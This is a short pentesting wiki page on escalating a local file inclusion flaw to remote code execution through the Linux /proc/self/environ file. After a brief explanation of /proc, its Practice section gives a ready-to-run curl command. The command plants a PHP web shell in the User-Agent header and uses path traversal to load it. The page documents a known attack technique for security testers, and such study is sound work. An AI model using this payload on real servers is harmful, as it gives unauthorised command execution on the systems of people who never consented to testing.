/proc

Theory

/proc is very special in that it is also a virtual filesystem. It's sometimes referred to as a process information pseudo-file system. It doesn't contain 'real' files but runtime system information (e.g. system memory, devices mounted, hardware configuration, etc).

We may use it to gain remote code execution using a LFI vulnerability

Practice

Like a log file, send the payload in the User-Agent, it may be reflected inside the /proc/self/environ file

# Sending a request to $URL with a malicious user-agent
# Accessing the payload via LFI
curl --user-agent "<?php passthru(\$_GET['cmd']); ?>" $URL/?parameter=../../../proc/self/environ

Last updated